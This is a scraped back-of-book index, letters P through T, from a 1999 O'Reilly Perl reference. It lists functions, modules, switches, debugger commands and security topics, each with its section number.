-F switch : 6.1.2. Switches
-h switch : 6.1.2. Switches
-i switch : 6.1.2. Switches
-I switch : 6.1.2. Switches
-l switch : 6.1.2. Switches
-m switch : 6.1.2. Switches
-M switch : 6.1.2. Switches
-n switch : 6.1.2. Switches
-P switch : 6.1.2. Switches
-p switch : 6.1.2. Switches
-S switch
6.1.2. Switches
6.2.4.2. UNIX-domain clients and servers
-s switch : 6.1.2. Switches
sticky bit : 8.3.1. Time Efficiency
-T switch
6.1.2. Switches
6.2.4.1. Internet TCP clients and servers
6.3.1. Handling Insecure Data
-U switch : 6.1.2. Switches
-u switch : 6.1.2. Switches
-V switch : 6.1.2. Switches
-v switch : 6.1.2. Switches
-w switch
1.3.1. How to Do It
3. Functions
6.1.2. Switches
7.2.10. diagnostics - Force Verbose Warning Diagnostics
9. Diagnostic Messages
-x switch
6.1.1. Command Processing
6.1.2. Switches
Perl Profiler : 8.1.8. Alternative Debuggers: The Perl Profiler
Perl standard library : 7. The Standard Perl Library
PERL5DB variable : 8.1.3. Debugger Customization
PERL_DESTRUCT_LEVEL variable : 5.3.9. A Note on Garbage Collection
$PERL_VERSION : (see $ variables, $] variable)
$PERLDB : (see $ variables, $^P variable)
.perldb file : 8.1.3. Debugger Customization
perldoc command : Perl Manpages
permissions
3.2.165. sysopen
3.2.179. umask
permissions, file
changing : 3.2.12. chmod
pi : 3.2.6. atan2
picture lines
2.8. Formats
3.2.41. format
pid : (see processes)
$PID : (see $ variables, $$ variable)
Ping module : 7.2.46. Net::Ping - Check Whether a Host Is Online
pingecho() : 7.2.46. Net::Ping - Check Whether a Host Is Online
pipe function : 3.2.107. pipe
pipe symbol : (see | (vertical bar))
pipes : 6.2.2. Pipes
closing : 3.2.18. close
pluralities : (see arrays)
plus : (see + (plus sign))
Pod::Text module : 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
poetry in Perl : 8.6. Perl Poetry
pop function : 3.2.108. pop
port
getting name from number : 3.2.64. getservbyname
getting number from name : 3.2.64. getservbyname
porting, efficiency of : 8.3.5. Porter Efficiency
pos function : 3.2.109. pos
positive lookahead assertion : 2.4.1.4. Regular expression extensions
POSIX module : 7.2.49. POSIX - Perl Interface to IEEE Std 1003.1
$POSTMATCH : (see $ variables, $' variable)
pound sign : (see # (sharp))
pragmas
2.6.7. Global Declarations
2.6.9. Pragmas
3.2.185. use
5. Packages, Modules, and Object Classes
6.1.2. Switches
7. The Standard Perl Library
modules and : 5.2. Modules
pre-extending arrays : 8.3.1. Time Efficiency
precedence
3. Functions
8.2.7. Previous Perl Traps
diagnostic messages : 9. Diagnostic Messages
key/value pair (hashes) : 2.3.5. Hashes (Associative Arrays)
logical operators : 2.5.20. Logical and, or, not, and xor
operator, table of : 2.5. Operators
regular expression matching : 2.4.1.2. The rules of regular expression matching
$PREMATCH : (see $ variables, $` variable)
prepending
directories to @INC : 6.1.2. Switches
elements to arrays : 3.2.183. unshift
print function
3.2.110. print
8.2.3. Awk Traps
8.3.1. Time Efficiency
printf function
3.2.111. printf
3.2.156. sprintf
8.3.1. Time Efficiency
printing
multidimensional arrays
4.6.3. Access and Printing
4.7.1.3. Access and printing of an array of arrays
4.7.2.3. Access and printing of a hash of arrays
4.7.3.3. Access and printing of an array of hashes
multidimensional hashes : 4.7.4.3. Access and printing of a hash of hashes
nested data structures : 8.1.1. Debugger Commands
priority, process : 3.2.141. setpriority
private variables : (see local, variables)
procedures : 1.2.2. Verbs
process group
3.2.55. getpgrp
3.2.140. setpgrp
process ID (pid)
getting process group from : 3.2.55. getpgrp
returning : 3.2.56. getppid
returning with fork : 3.2.40. fork
$PROCESS_ID : (see $ variables, $$ variable)
processes
error handling poermission for : 7.2.40. IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
fork function : 3.2.40. fork
getting group for : 3.2.140. setpgrp
ID (pid) : 3.2.102. open
interprocess communication (IPC) : 6.2. Cooperating with Other Processes
killing : 3.2.80. kill
named pipes : 6.2.2.4. Named pipes
priority, setting : 3.2.141. setpriority
read/write permission for : 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
returning priority of : 3.2.57. getpriority
umask for : 3.2.179. umask
variables for : 2.9.3. Global Special Variables
waiting for : 3.2.189. wait
zombie : 6.2.1. Signals
processing shell commands : 6.1.1. Command Processing
program generators : 6.4.1. Program Generation
$PROGRAM_NAME : (see $ variables, $0 variable)
programming style : 8.4. Programming with Style
programs
core dump of : 3.2.29. dump
executing : 3.2.167. system
exiting : 3.2.35. exit
protocols
name-number translations
3.2.58. getprotobyname
3.2.59. getprotobynumber
prototypes : 2.7.3. Prototypes
pseudo-literals : (see input, operators)
purging : (see deleting)
push function : 3.2.112. push
put function : 7.2.8.5. Using the Berkeley DB interface directly
pwd command (UNIX) : 8.3.1. Time Efficiency
PWD environment variable : 7.2.7. Cwd - Get Pathname of Current Working Directory

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

q command (debugger) : 8.1.1. Debugger Commands
qualify() : 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
qualifying variable names : 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
quantifiers
1.7.1. Quantifiers
2.4.1.1. The regular expression bestiary
8.3.1. Time Efficiency
atoms and : 2.4.1.2. The rules of regular expression matching
question mark : (see ? (question mark))
quitting : (see exiting)
infinite loop : 2.6.4.2. For loops
Perl debugger : 8.1.1. Debugger Commands
quotation marks : 2.3.2.3. Pick your own quotes
in braces : 2.3.2.2. String literals
double (") : 2.4.1.1. The regular expression bestiary
double quotes (")
in formline arguments : 3.2.42. formline
double quotes (XX_DOUBLE_XX) : 4.5. Braces, Brackets, and Quoting
strings and : 2.3.2.2. String literals
quoted execution operator : (see ` (backtick))
quotemeta function : 3.2.114. quotemeta
quotewords() : 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
quoting, line oriented : 2.3.2.6. "Here" documents
qw (quote words) : 2.3.4. List Values and Arrays
qx// (quoted execution) operator
(see also ` (backtick))
2.3.7.1. Command input (backtick) operator

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

R command (debugger) : 8.1.1. Debugger Commands
-r file test operator : 2.5.10. Named Unary and File Test Operators
-R file test operator : 2.5.10. Named Unary and File Test Operators
rand function : 3.2.115. rand
random numbers
3.2.115. rand
3.2.158. srand
range (..) operator
2.5.15. Range Operator
8.2.3. Awk Traps
$rdev file statistic : 3.2.159. stat
read function : 3.2.116. read
readdir function
3.2.117. readdir
7.2.11. DirHandle - Supply Object Methods for Directory Handles
8.3.1. Time Efficiency
reading
data via low-level system call : 3.2.166. sysread
file backwards : 7.2.8.6. Examples
input (awk) : 8.2.3. Awk Traps
permissions for processes : 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
shared memory segment ID : 3.2.146. shmread
Readline module : 8.1.4. Readline Support
readlink function : 3.2.118. readlink
ReadlKey module : 8.1.4. Readline Support
ready file descriptors : 3.2.135. select (ready file descriptors)
real gid : (see $ variables, $( variable)
real uid : (see $ variables, $< variable)
real values, testing for : 3.2.25. defined
$REAL_GROUP_ID : (see $ variables, $( variable)
$REAL_USER_ID : (see $ variables, $< variable)
record delimiter : (see $ variables, $/ variable)
records
input, separator for : (see $ variables, $/ variable)
output, separator for : (see $ variables, $\ variable)
variable-length : 2.8. Formats
of various data strcutures : 4.7.5. More Elaborate Records
recursive
open functions : 3.2.102. open
use of subroutines : 2.7. Subroutines
recv function : 3.2.119. recv
redo operator
2.6.4.4. Loop control
3.2.120. redo
ref function : 3.2.121. ref
ref operator : 4.3.5. Other Tricks You Can Do with Hard References
references : 4.1. What Is a Reference?
checking for : 3.2.121. ref
circular, and memory : 5.3.9. A Note on Garbage Collection
to filehandles : 4.2.6. Filehandle Referencers
multidimensional arrays and : 4.6. A Brief Tutorial: Manipulating Lists of Lists
to objects : 4.3.4. Using Object Methods
objects as : 5.3.3. An Object Is Simply a Referenced Thingy
passing : 2.7.2. Passing References
use strict 'refs' : 7.2.59. strict - Restrict Unsafe Constructs
regexes : (see regular expressions)
regexps : (see regular expressions)
regular expressions
(see also patterns)
1.7. Regular Expressions
2.4.1. Regular Expressions
backreferences : 1.7.4. Backreferences
character classes : 1.7. Regular Expressions
extension syntax for : 2.4.1.4. Regular expression extensions
matching precedence : 2.4.1.2. The rules of regular expression matching
special variables for : 2.9.1. Regular Expression Special Variables
relational operators
(see comparison operators)
2.5.11. Relational Operators
removing : (see deleting)
rename function : 3.2.122. rename
repetition (x) operator
1.5.2. String Operators
2.5.7. Multiplicative Operators
replacing array elements : 3.2.154. splice
require function : 5.2. Modules
require operator
2.6.7. Global Declarations
2.9.4. Global Special Arrays
3.2.123. require
REs : (see regular expressions)
reserved words : 2.3.1. Variables
reset function : 3.2.124. reset
restoring filehandles : 7.2.54. SelectSaver - Save and Restore Selected Filehandle
return function : 3.2.125. return
return value subroutine : 2.7. Subroutines
reusing code
5.5.8. Thinking of Code Reuse
8.4. Programming with Style
reverse function : 3.2.126. reverse
rewinddir function
3.2.127. rewinddir
7.2.11. DirHandle - Supply Object Methods for Directory Handles
right angle bracket : (see > (right angle bracket))
right justification : 2.8.1. Format Variables
right-shift (>>) operator : 2.5.9. Shift Operators
rindex function : 3.2.128. rindex
RLENGTH variable (awk) : 6.4.2.2. a2p
rmdir function : 3.2.129. rmdir
rmtree() : 7.2.31. File::Path - Create or Remove a Series of Directories
root directory, redefining : 3.2.17. chroot
routines : (see subroutines)
row : (see records)
$RS : (see $ variables, $/ variable)
RSTART variable (awk) : 6.4.2.2. a2p
running : (see executing)
runtests() : 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

s command (debugger) : 8.1.1. Debugger Commands
S command (debugger) : 8.1.1. Debugger Commands
-S file test operator : 2.5.10. Named Unary and File Test Operators
-s file test operator : 2.5.10. Named Unary and File Test Operators
\s (for whitespace) : 1.7. Regular Expressions
/s modifier
2.4. Pattern Matching
2.4.1.3. The fine print
2.4.2. Pattern-Matching Operators
s operator : (see substitution (s///) operator)
-s switch, perl
6.1.2. Switches
8.1. The Perl Debugger
-S switch, perl
6.1.2. Switches
6.2.4.2. UNIX-domain clients and servers
s/// (substitution) operator
1.7. Regular Expressions
2.3.3.4. Interpolative context
2.4. Pattern Matching
2.4.2. Pattern-Matching Operators
8.2.1. Universal Blunders
options for : 2.4.2. Pattern-Matching Operators
s2p program
6.4.2.1. s2p
8.5.1. Translation from Awk and Sed
Safe module
6.3.2.1. Safe
7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
saving filehandles : 7.2.54. SelectSaver - Save and Restore Selected Filehandle
scalar context
2.3.3.1. Scalar and list context
3. Functions
forcing : 3.2.131. scalar
range (..) operator in : 2.5.15. Range Operator
recognizing in debugger : 8.1.2. Using the Debugger
scalar pseudo-function : 3.2.131. scalar
scalar values : 2.3.2. Scalar Values
scalar variables in angle brackets : 2.3.7.2. Line input (angle) operator
scalars
1.2.1.1. Singularities
2.2. Built-in Data Types
anonymous : 5.4.1. Tying Scalars
byte length of : 3.2.84. length
instance variables : 5.5.3. Scalar Instance Variables
list of : (see arrays)
tied : 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
tying : 5.4.1. Tying Scalars
unordered set of : (see hashes)
scoped declarations : 2.6.8. Scoped Declarations
scripts
building with -e switch : 6.1.2. Switches
checking syntax of : 6.1.2. Switches
controlling debugger from : 8.1.2. Using the Debugger
debugging : (see debugging)
dumping core files : 6.1.2. Switches
embedding in messages : 6.1.2. Switches
end marker for : 2.3.2.7. Other literal tokens
examples of, obtaining : 8.5.2. Examples
executing : 3.2.167. system
insecure : 6.3.2. Handling Insecure Code
names of : (see $ variables, $0 variable)
pausing : 3.2.150. sleep
performance of : (see performance)
programming style : 8.4. Programming with Style
running time of : 2.5.10. Named Unary and File Test Operators
searching for : 6.1.2. Switches
standard test : 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics
terminating with exec : 3.2.33. exec
troubleshooting : 8.2. Common Goofs for Novices
SDBM_File module
7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
7.2.52. SDBM_File - Tied Access to SDBM Files
Search::Dict module : 7.2.53. Search::Dict - Search for Key in Dictionary File
searching
grep function for : 3.2.72. grep
linear, versus hashes : 8.3.1. Time Efficiency
for lines in text file : 7.2.8.6. Examples
for scripts : 6.1.2. Switches
for substrings
3.2.75. index
3.2.128. rindex
security
3.2.158. srand
Perl in a Nutshell
bypassing shell : 6.2.2.2. Talking to yourself
handling insecure data : 6.3.1. Handling Insecure Data
insecure code : 6.3.2. Handling Insecure Code
PATH environment variable : 6.3.1.2. Cleaning up your path
Safe module : 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
UNIX bugs : 6.3.1.3. Security bugs
sed : 8.2.5. Sed Traps
converting to Perl : 6.4.2.1. s2p
converting to/from Perl : 8.5.1. Translation from Awk and Sed
seed, random number : 3.2.158. srand
seek function : 3.2.132. seek
seekdir function : 3.2.133. seekdir
seekfunction
(see also tell function)
3.2.169. tell
select function
3.2.38. fileno
3.2.110. print
3.2.134. select (output filehandle)
3.2.135. select (ready file descriptors)
for format variables : 2.8.1. Format Variables
SelectSaver module : 7.2.54. SelectSaver - Save and Restore Selected Filehandle
SelfLoader module
7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
7.2.55. SelfLoader - Load Functions Only on Demand
SelfLoading module : 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
SelfStubber module : 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
semantics : 3.2.185. use
semaphores : 3.2.137. semget
semctl function : 3.2.136. semctl
semget function : 3.2.137. semget
semicolon : (see ; (semicolon))
semop function : 3.2.138. semop
send function : 3.2.139. send
seq function : 7.2.8.5. Using the Berkeley DB interface directly
servers, TCP : 6.2.4.1. Internet TCP clients and servers
service port number : (see port)
setgid function : 6.2.2.2. Talking to yourself
setgrent function : 3.2.44. getgrent
setgrp function : 3.2.140. setpgrp
sethostent function : 3.2.49. gethostent
setlocale() : 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
setlogmask() : 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
setpriority function : 3.2.141. setpriority
setprotoent function : 3.2.60. getprotoent
setpwent function : 3.2.61. getpwent
sets of bits : (see vec function)
sets of strings : (see hashes)
setservent function : 3.2.66. getservent
setsockopt function : 3.2.142. setsockopt
setuid function : 6.2.2.2. Talking to yourself
setvbuf() : 7.2.33. FileHandle - Supply Object Methods for Filehandles
sh (Bourne shell) : 6.1.1. Command Processing
shared memory segment ID : 3.2.145. shmget
sharp : (see # (sharp))
shebang notation : (see # (sharp), #! notation)
Shell module : 7.2.56. Shell - Run Shell Commands Transparently Within Perl
shells : 8.2.6. Shell Traps
bypassing : 6.2.2.2. Talking to yourself
shift function : 3.2.143. shift
shift operators : 2.5.9. Shift Operators
shmctl function : 3.2.144. shmctl
shmget function : 3.2.145. shmget
shmread function : 3.2.146. shmread
shmwrite function : 3.2.147. shmwrite
short-circuit operators
(see logical, operators)
2.5.14. C-style Logical (Short Circuit) Operators
shutdown function : 3.2.148. shutdown
%SIG hash
2.9.4. Global Special Arrays
6.2.1. Signals
sigaction function : 6.2.1. Signals
SigAction objects : 7.2.49.1. Classes
SIGALRM signal : 3.2.5. alarm
SIGIO signal : 3.2.37. fcntl
signals
2.9.4. Global Special Arrays
6.2.1. Signals
7.2.57. sigtrap - Enable Stack Backtrace on Unexpected Signals
SigSet objects : 7.2.49.1. Classes
sigtrap module : 7.2.57. sigtrap - Enable Stack Backtrace on Unexpected Signals
sin function : 3.2.149. sin
sine : (see sin function)
single quotes : (see ' (single quotes))
singularities : (see scalars)
$size file statistic : 3.2.159. stat
skipcheck() : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
slash : (see / (slash))
sleep function : 3.2.150. sleep
select function instead of : 3.2.135. select (ready file descriptors)
slices of multidimensional arrays : 4.6.4. Slices
socket function : 3.2.151. socket
Socket module : 7.2.58. Socket - Load the C socket.h Defines and Structure Manipulators
socketpair function : 3.2.152. socketpair
sockets : 6.2.4. Sockets
accepting connections from clients : 3.2.4. accept
attaching address to : 3.2.7. bind
closing : 3.2.18. close
connecting : 3.2.20. connect
functions for : 3.2.67. getsockname
getting packed sockaddr address : 3.2.54. getpeername
listen function for : 3.2.86. listen
opening : 3.2.151. socket
receiving messages on : 3.2.119. recv
sending message on : 3.2.139. send
setting options : 3.2.142. setsockopt
shutting down connection : 3.2.148. shutdown
sort function : 3.2.153. sort
sorting
hashes automatically : 7.2.8.4. In-memory databases
lists : 3.2.153. sort
soundex algorithm : 7.2.69. Text::Soundex - The Soundex Algorithm Described by Knuth
source distribution : (see distribution)
source filters : 6.4.2.4. Source filters
special characters : 2.4.1.2. The rules of regular expression matching
special variables : 2.9. Special Variables
speed : (see performance)
terminal output : 7.2.64. Term::Cap - Terminal Capabilities Interface
splain program : 7.2.10.1. The standalone program
splice function
3.2.154. splice
8.2.7. Previous Perl Traps
split function
1.7. Regular Expressions
3.2.155. split
8.2.3. Awk Traps
8.3.1. Time Efficiency
splitting modules for autoloading : 7.2.3. AutoSplit - Split a Module for Autoloading
sprintf function : 3.2.156. sprintf
sqrt function : 3.2.157. sqrt
square root function : 3.2.157. sqrt
srand function : 3.2.158. srand
stack, call : 3.2.10. caller
standard library : 7. The Standard Perl Library
star : (see asterisk)
stat function : 3.2.159. stat
Stat module : 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
statements : 2.6. Statements and Declarations
loops : (see loops)
static methods : 5.3.1. Brief Refresher on Object-Oriented Programming
STDERR filehandle
2.9.5. Global Special Filehandles
3.2.38. fileno
8.4. Programming with Style
StdHash module : 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
STDIN : 1.4. Filehandles
reading single characters from : 3.2.43. getc
STDIN filehandle
2.9.5. Global Special Filehandles
3.2.38. fileno
STDOUT : 1.4. Filehandles
STDOUT filehandle
2.9.5. Global Special Filehandles
3.2.38. fileno
printing to : 3.2.110. print
stepping through code : 8.1.1. Debugger Commands
sticky bit : 8.3.1. Time Efficiency
stopping : (see terminating)
infinite loop : 2.6.4.2. For loops
STORE method
5.4.1. Tying Scalars
5.4.2. Tying Arrays
5.4.3. Tying Hashes
strict module
2.6.9. Pragmas
4.4. Symbolic References
7.2.59. strict - Restrict Unsafe Constructs
string literals : 2.3.2.2. String literals
strings
abbreviation table : 7.2.67. Text::Abbrev - Create an Abbreviation Table from a List
boundary assertions
1.7.3. Nailing Things Down
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
breaking : (see $ variables, $: variable)
capitalization of : (see capitalization)
comparing in awk : 6.4.2.2. a2p
comparison operators : 1.5.6. Comparison Operators
concatenating
1.5.2. String Operators
2.5.8. Additive Operators
8.2.3. Awk Traps
8.3.1. Time Efficiency
converting to list values : 3.2.182. unpack
eval function and : 8.3.1. Time Efficiency
extracting substrings : 3.2.162. substr
first character of : 2.9.3. Global Special Variables
formatting : 3.2.156. sprintf
hard references and : 4.5.1. Hard References Don't Work as Hash Keys
hexadecimal : (see hexadecimal numbers)
index function : 3.2.75. index
joining : 3.2.78. join
octal : (see octal numbers)
operators
1.5.2. String Operators
8.2.1. Universal Blunders
printing : 3.2.110. print
rindex function : 3.2.128. rindex
soundex algorithm : 7.2.69. Text::Soundex - The Soundex Algorithm Described by Knuth
splitting into substrings : 3.2.155. split
study function and : 3.2.160. study
vec function and : 3.2.188. vec
StrVal() : 7.2.48.9. Public functions
stubs : 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
study function : 3.2.160. study
style, programming : 8.4. Programming with Style
sub declaration
3.2.161. sub
4.2.4. The Anonymous Subroutine Composer
sub keyword
2.7. Subroutines
2.7.3. Prototypes
subroutine call stack : 3.2.10. caller
subroutines
(see also functions)
(see also libraries)
2.7. Subroutines
4.2.4. The Anonymous Subroutine Composer
5.3.5. A Method Is Simply a Subroutine
7. The Standard Perl Library
aborting with exit : 3.2.35. exit
autoloading
5.1.3. Autoloading
5.3.4. A Class Is Simply a Package
declaring
2.6.7. Global Declarations
3.2.161. sub
names for : 2.3.1. Variables
performance and : 8.3.1. Time Efficiency
predeclaring : 7.2.60. subs - Predeclare Subroutine Names
return function : 3.2.125. return
returning references : 4.2.5. Object Constructors
substituting with goto : 3.2.71. goto
subs module : 7.2.60. subs - Predeclare Subroutine Names
subscript separator : (see $ variables, $; variable)
$SUBSCRIPT_SEPARATOR : (see $ variables, $; variable)
subscripting : 8.3.1. Time Efficiency
$SUBSEP : (see $ variables, $; variable)
substitution (s///) operator
1.7. Regular Expressions
2.3.3.4. Interpolative context
2.4. Pattern Matching
2.4.2. Pattern-Matching Operators
8.2.1. Universal Blunders
options for : 2.4.2. Pattern-Matching Operators
substitution, shells versus Perl : 8.2.6. Shell Traps
substr function
3.2.162. substr
8.3.1. Time Efficiency
chop function and : 3.2.14. chop
SubstrHash module : 7.2.74. Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
substrings : (see backreferences; strings)
subtraction : (see additive operators)
suidperl program : 8.5. Distribution and Installation
SUPER pseudoclass : 5.3.6. Method Invocation
switch statement
2.6.5. Bare Blocks and Case Structures
8.2.4. C Traps
8.3.1. Time Efficiency
switches, Perl command-line : 6.1.1. Command Processing
Symbol module : 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
symbol table entries : 2.7.1. Passing Symbol Table Entries (Typeglobs)
aliasing : 2.3.6. Typeglobs and Filehandles
symbol tables : 5.1.1. Symbol Tables
symbolic links : 3.2.163. symlink
GetOptions() and : 7.2.35.1. Linkage specification
getting filenames from : 3.2.118. readlink
lstat command and : 3.2.90. lstat
symbolic references
4.1. What Is a Reference?
4.4. Symbolic References
symbols, preventing exportation of : 7.2.15.3. Managing unknown symbols
symlink function : 3.2.163. symlink
sync function : 7.2.8.5. Using the Berkeley DB interface directly
syntax, checking : 6.1.2. Switches
Sys::Hostname module : 7.2.62. Sys::Hostname - Try Every Conceivable Way to Get Hostname
Sys::Syslog module : 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
syscall function
3.2.5. alarm
3.2.164. syscall
syslog() : 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
sysopen function
3.2.102. open
3.2.165. sysopen
sysread function : 3.2.166. sysread
system calls : 3.2.164. syscall
performance and : 8.3.1. Time Efficiency
restarting : 6.2.1. Signals
system CPU time : (see time)
system function
3.2.167. system
8.3.1. Time Efficiency
System V IPC : 6.2.3. System V IPC
$SYSTEM_FD_MAX : (see $ variables, $^F variable)
syswrite function : 3.2.168. syswrite

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

t command (debugger) : 8.1.1. Debugger Commands
T command (debugger) : 8.1.1. Debugger Commands
-T file test operator : 2.5.10. Named Unary and File Test Operators
-t file test operator : 2.5.10. Named Unary and File Test Operators
-T switch, perl
6.1.2. Switches
6.2.4.1. Internet TCP clients and servers
6.3.1. Handling Insecure Data
TAB character : 7.2.70. Text::Tabs - Expand and Unexpand Tabs
completion and : 7.2.65. Term::Complete - Word Completion Module
tags, functions for : 7.2.15.4. Tag handling utility functions
taint checking
6.1.2. Switches
6.2.4.1. Internet TCP clients and servers
6.3.1. Handling Insecure Data
taintperl program : 8.2.7. Previous Perl Traps
targets, make : 7.2.18.1. Targets
TCP clients/servers : 6.2.4.1. Internet TCP clients and servers
tell function : 3.2.169. tell
telldir function : 3.2.170. telldir
Term::Cap module : 7.2.64. Term::Cap - Terminal Capabilities Interface
Term::Complete module : 7.2.65. Term::Complete - Word Completion Module
termcap database : 7.2.64. Term::Cap - Terminal Capabilities Interface
terminating
current process : (see die function; exit function)
infinite loop : 2.6.4.2. For loops
processes : 3.2.80. kill
subroutines : (see return function)
Termios objects : 7.2.49.1. Classes
terms : 2.5.1. Terms and List Operators (Leftward)
Test::Harness module : 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics
testing
code, Safe module for : 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
collections of files : 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
if defined : 3.2.25. defined
for tained data : 6.3.1.1. Detecting and laundering tainted data
text
converting POD to ASCII : 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
parsing into tokens : 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
wrapping : 7.2.71. Text::Wrap - Wrap Text into a Paragraph
Text module : 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
Text::Abbrev module : 7.2.67. Text::Abbrev - Create an Abbreviation Table from a List
Text::ParseWords module : 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
Text::Soundex module : 7.2.69. Text::Soundex - The Soundex Algorithm Described by Knuth
Text::Tabs module : 7.2.70. Text::Tabs - Expand and Unexpand Tabs
Text::Wrap module : 7.2.71. Text::Wrap - Wrap Text into a Paragraph
Tgetent() : 7.2.64. Term::Cap - Terminal Capabilities Interface
Tgoto() : 7.2.64. Term::Cap - Terminal Capabilities Interface
threads and memory : 5.3.9. A Note on Garbage Collection
tie function
3.2.171. tie
5.4. Using Tied Variables
Tie::Hash module : 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
Tie::Scalar module : 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
Tie::StdHash module : 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
Tie::StdScalar module : 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
Tie::SubstrHash module : 7.2.74. Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
TIEARRAY method : 5.4.2. Tying Arrays
tied
hashes : 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
scalars : 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
tied function : 3.2.172. tied
TIEHASH method : 5.4.3. Tying Hashes
TIESCALAR method : 5.4.1. Tying Scalars
time : 3.2.173. time
executing, Benchmark for : 7.2.4. Benchmark - Check and Compare Running Times of Code
file access/modification
3.2.159. stat
3.2.186. utime
file age : 2.5.10. Named Unary and File Test Operators
Greenwich Mean (GMT) : 3.2.70. gmtime
limits on operations : 6.2.1. Signals
for local timezone : 3.2.88. localtime
local, computing : 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
script running : 2.5.10. Named Unary and File Test Operators
sleeping : 3.2.150. sleep
time function : 3.2.173. time
Time::Local module : 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
timeit() routine : 7.2.4. Benchmark - Check and Compare Running Times of Code
timelocal subroutine : 3.2.88. localtime
times function : 3.2.174. times
timethese() routine : 7.2.4. Benchmark - Check and Compare Running Times of Code
timing
with alarms : 3.2.5. alarm
tokens, parsing text into : 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
top-of-form processing
2.8. Formats
3.2.134. select (output filehandle)
3.2.193. write
top-of-page processing : 2.9.2. Per-Filehandle Special Variables
Tputs() : 7.2.64. Term::Cap - Terminal Capabilities Interface
tr/// (translation) operator
2.4.2. Pattern-Matching Operators
3.2.175. tr///
translating between languages
6.4.2. Translation from Other Languages
8.5.1. Translation from Awk and Sed
translation operator (tr///)
2.4.2. Pattern-Matching Operators
3.2.175. tr///
translation operator (y///)
2.4.2. Pattern-Matching Operators
3.2.194. y///
tree, file : (see File::CheckTree module; File::Find module)
Trequire() : 7.2.64. Term::Cap - Terminal Capabilities Interface
trinary operator, ?: as : 2.5.16. Conditional Operator
troubleshooting
(see also debugging)
8.1. The Perl Debugger
awk code : 8.2.3. Awk Traps
C code : 8.2.4. C Traps
multidimensional arrays : 4.6.5. Common Mistakes
Perl 4 (and before) code : 8.2.7. Previous Perl Traps
scripts : 8.2. Common Goofs for Novices
shell code : 8.2.6. Shell Traps
true value : (see Boolean)
truncate function : 3.2.176. truncate
truncating numbers : 3.2.76. int
tun-time overloading : 7.2.48.8. Run-time overloading
tuple : (see records)
typecasting operator (in C) : 2.5.21. C Operators Missing from Perl
typeglobs
2.3.6. Typeglobs and Filehandles
2.7.1. Passing Symbol Table Entries (Typeglobs)
4. References and Nested Data Structures
4.3.5. Other Tricks You Can Do with Hard References
references and : 2.7.2. Passing References
types : (see data types)
typing variables : 5.4. Using Tied Variables

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

